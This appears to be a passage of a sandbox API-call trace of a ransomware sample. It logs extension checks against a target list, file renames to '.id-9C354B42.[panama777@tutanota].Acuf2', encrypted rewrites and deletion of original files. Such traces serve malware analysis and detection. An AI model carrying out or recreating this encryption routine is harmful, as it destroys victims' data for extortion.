	[0057.070] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0057.070] lstrlenW (lpString=".pdf") returned 4
	[0057.070] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.070] lstrlenW (lpString=".xls") returned 4
	[0057.070] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.070] lstrlenW (lpString=".xlsx") returned 5
	[0057.070] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0057.070] lstrlenW (lpString=".ppt") returned 4
	[0057.070] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.070] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86
	[0057.070] lstrlenW (lpString=".zip") returned 4
	[0057.070] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.070] lstrlenW (lpString=".rar") returned 4
	[0057.070] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.070] lstrlenW (lpString=".bz2") returned 4
	[0057.070] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.070] lstrlenW (lpString=".7z") returned 3
	[0057.070] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.070] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86
	[0057.070] lstrlenW (lpString=".dbf") returned 4
	[0057.070] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.070] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86
	[0057.070] lstrlenW (lpString=".1cd") returned 4
	[0057.071] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.071] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned 86
	[0057.071] lstrlenW (lpString=".jpg") returned 4
	[0057.071] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0057.071] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.071] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87
	[0057.071] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87
	[0057.071] lstrlenW (lpString=".doc") returned 4
	[0057.071] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.071] lstrlenW (lpString=".docx") returned 5
	[0057.071] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0057.071] lstrlenW (lpString=".pdf") returned 4
	[0057.071] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.071] lstrlenW (lpString=".xls") returned 4
	[0057.071] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.071] lstrlenW (lpString=".xlsx") returned 5
	[0057.071] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0057.071] lstrlenW (lpString=".ppt") returned 4
	[0057.071] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.071] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87
	[0057.071] lstrlenW (lpString=".zip") returned 4
	[0057.071] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.072] lstrlenW (lpString=".rar") returned 4
	[0057.072] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.072] lstrlenW (lpString=".bz2") returned 4
	[0057.072] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.072] lstrlenW (lpString=".7z") returned 3
	[0057.072] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.072] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87
	[0057.072] lstrlenW (lpString=".dbf") returned 4
	[0057.072] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.072] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87
	[0057.072] lstrlenW (lpString=".1cd") returned 4
	[0057.072] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.072] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned 87
	[0057.072] lstrlenW (lpString=".jpg") returned 4
	[0057.072] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0057.072] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.072] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76
	[0057.072] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76
	[0057.072] lstrlenW (lpString=".doc") returned 4
	[0057.072] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.072] lstrlenW (lpString=".docx") returned 5
	[0057.072] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1
	[0057.073] lstrlenW (lpString=".pdf") returned 4
	[0057.073] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.073] lstrlenW (lpString=".xls") returned 4
	[0057.073] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.073] lstrlenW (lpString=".xlsx") returned 5
	[0057.073] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1
	[0057.073] lstrlenW (lpString=".ppt") returned 4
	[0057.073] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.073] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76
	[0057.073] lstrlenW (lpString=".zip") returned 4
	[0057.073] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.073] lstrlenW (lpString=".rar") returned 4
	[0057.073] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.073] lstrlenW (lpString=".bz2") returned 4
	[0057.073] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.073] lstrlenW (lpString=".7z") returned 3
	[0057.073] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.073] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76
	[0057.073] lstrlenW (lpString=".dbf") returned 4
	[0057.073] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.073] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76
	[0057.073] lstrlenW (lpString=".1cd") returned 4
	[0057.073] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.073] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned 76
	[0057.073] lstrlenW (lpString=".jpg") returned 4
	[0057.073] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0057.074] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.074] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80
	[0057.074] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80
	[0057.074] lstrlenW (lpString=".doc") returned 4
	[0057.074] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.074] lstrlenW (lpString=".docx") returned 5
	[0057.074] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0057.074] lstrlenW (lpString=".pdf") returned 4
	[0057.074] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.075] lstrlenW (lpString=".xls") returned 4
	[0057.075] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.075] lstrlenW (lpString=".xlsx") returned 5
	[0057.075] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0057.075] lstrlenW (lpString=".ppt") returned 4
	[0057.075] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.075] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80
	[0057.075] lstrlenW (lpString=".zip") returned 4
	[0057.075] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.075] lstrlenW (lpString=".rar") returned 4
	[0057.075] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.075] lstrlenW (lpString=".bz2") returned 4
	[0057.075] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.075] lstrlenW (lpString=".7z") returned 3
	[0057.075] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.075] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80
	[0057.075] lstrlenW (lpString=".dbf") returned 4
	[0057.075] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.075] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80
	[0057.075] lstrlenW (lpString=".1cd") returned 4
	[0057.075] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.075] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned 80
	[0057.075] lstrlenW (lpString=".jpg") returned 4
	[0057.075] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0057.076] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.076] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77
	[0057.076] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77
	[0057.076] lstrlenW (lpString=".doc") returned 4
	[0057.076] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.076] lstrlenW (lpString=".docx") returned 5
	[0057.076] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1
	[0057.076] lstrlenW (lpString=".pdf") returned 4
	[0057.076] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.076] lstrlenW (lpString=".xls") returned 4
	[0057.076] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.076] lstrlenW (lpString=".xlsx") returned 5
	[0057.076] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1
	[0057.076] lstrlenW (lpString=".ppt") returned 4
	[0057.076] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.076] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77
	[0057.076] lstrlenW (lpString=".zip") returned 4
	[0057.076] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.076] lstrlenW (lpString=".rar") returned 4
	[0057.076] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.076] lstrlenW (lpString=".bz2") returned 4
	[0057.076] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.076] lstrlenW (lpString=".7z") returned 3
	[0057.076] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.076] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77
	[0057.076] lstrlenW (lpString=".dbf") returned 4
	[0057.077] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.077] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77
	[0057.077] lstrlenW (lpString=".1cd") returned 4
	[0057.077] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.077] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned 77
	[0057.077] lstrlenW (lpString=".jpg") returned 4
	[0057.077] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0057.077] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.077] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81
	[0057.077] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81
	[0057.077] lstrlenW (lpString=".doc") returned 4
	[0057.077] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.077] lstrlenW (lpString=".docx") returned 5
	[0057.077] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1
	[0057.077] lstrlenW (lpString=".pdf") returned 4
	[0057.077] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.077] lstrlenW (lpString=".xls") returned 4
	[0057.077] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.077] lstrlenW (lpString=".xlsx") returned 5
	[0057.077] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1
	[0057.077] lstrlenW (lpString=".ppt") returned 4
	[0057.077] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.078] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81
	[0057.078] lstrlenW (lpString=".zip") returned 4
	[0057.078] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.078] lstrlenW (lpString=".rar") returned 4
	[0057.078] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.078] lstrlenW (lpString=".bz2") returned 4
	[0057.078] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.078] lstrlenW (lpString=".7z") returned 3
	[0057.078] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.078] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81
	[0057.078] lstrlenW (lpString=".dbf") returned 4
	[0057.078] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.078] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81
	[0057.078] lstrlenW (lpString=".1cd") returned 4
	[0057.078] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.078] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned 81
	[0057.078] lstrlenW (lpString=".jpg") returned 4
	[0057.078] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0059.618] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.618] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.618] GetLastError () returned 0x0
	[0059.618] ReadFile (in: hFile=0x184, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x745e, lpOverlapped=0x0) returned 1
	[0059.620] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x7460, lpOverlapped=0x0) returned 1
	[0059.621] ReadFile (in: hFile=0x184, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.622] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0059.622] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.622] CloseHandle (hObject=0x1a0) returned 1
	[0059.622] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.622] SetEndOfFile (hFile=0x184) returned 1
	[0059.623] CloseHandle (hObject=0x184) returned 1
	[0059.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1
	[0059.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78
	[0059.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78
	[0059.624] lstrlenW (lpString=".doc") returned 4
	[0059.624] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1
	[0059.624] lstrlenW (lpString=".docx") returned 5
	[0059.624] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1
	[0059.624] lstrlenW (lpString=".pdf") returned 4
	[0059.624] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1
	[0059.624] lstrlenW (lpString=".xls") returned 4
	[0059.624] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1
	[0059.624] lstrlenW (lpString=".xlsx") returned 5
	[0059.624] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1
	[0059.624] lstrlenW (lpString=".ppt") returned 4
	[0059.624] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1
	[0059.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78
	[0059.624] lstrlenW (lpString=".zip") returned 4
	[0059.624] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1
	[0059.624] lstrlenW (lpString=".rar") returned 4
	[0059.624] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1
	[0059.624] lstrlenW (lpString=".bz2") returned 4
	[0059.624] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1
	[0059.624] lstrlenW (lpString=".7z") returned 3
	[0059.624] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1
	[0059.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78
	[0059.625] lstrlenW (lpString=".dbf") returned 4
	[0059.625] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1
	[0059.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78
	[0059.625] lstrlenW (lpString=".1cd") returned 4
	[0059.625] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1
	[0059.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78
	[0059.625] lstrlenW (lpString=".jpg") returned 4
	[0059.625] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1
	[0059.628] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.628] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.628] GetLastError () returned 0x0
	[0059.628] ReadFile (in: hFile=0x184, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x2e73, lpOverlapped=0x0) returned 1
	[0059.630] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x2e80, lpOverlapped=0x0) returned 1
	[0059.631] ReadFile (in: hFile=0x184, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.631] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.631] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.631] CloseHandle (hObject=0x1a0) returned 1
	[0059.631] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.631] SetEndOfFile (hFile=0x184) returned 1
	[0059.632] CloseHandle (hObject=0x184) returned 1
	[0059.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1
	[0059.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63
	[0059.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63
	[0059.633] lstrlenW (lpString=".doc") returned 4
	[0059.633] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0059.633] lstrlenW (lpString=".docx") returned 5
	[0059.633] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0059.633] lstrlenW (lpString=".pdf") returned 4
	[0059.633] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0059.633] lstrlenW (lpString=".xls") returned 4
	[0059.633] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0059.633] lstrlenW (lpString=".xlsx") returned 5
	[0059.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0059.633] lstrlenW (lpString=".ppt") returned 4
	[0059.633] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0059.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63
	[0059.633] lstrlenW (lpString=".zip") returned 4
	[0059.633] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0059.633] lstrlenW (lpString=".rar") returned 4
	[0059.633] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0059.633] lstrlenW (lpString=".bz2") returned 4
	[0059.633] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0059.633] lstrlenW (lpString=".7z") returned 3
	[0059.633] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0059.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63
	[0059.633] lstrlenW (lpString=".dbf") returned 4
	[0059.633] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0059.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63
	[0059.633] lstrlenW (lpString=".1cd") returned 4
	[0059.633] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0059.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63
	[0059.634] lstrlenW (lpString=".jpg") returned 4
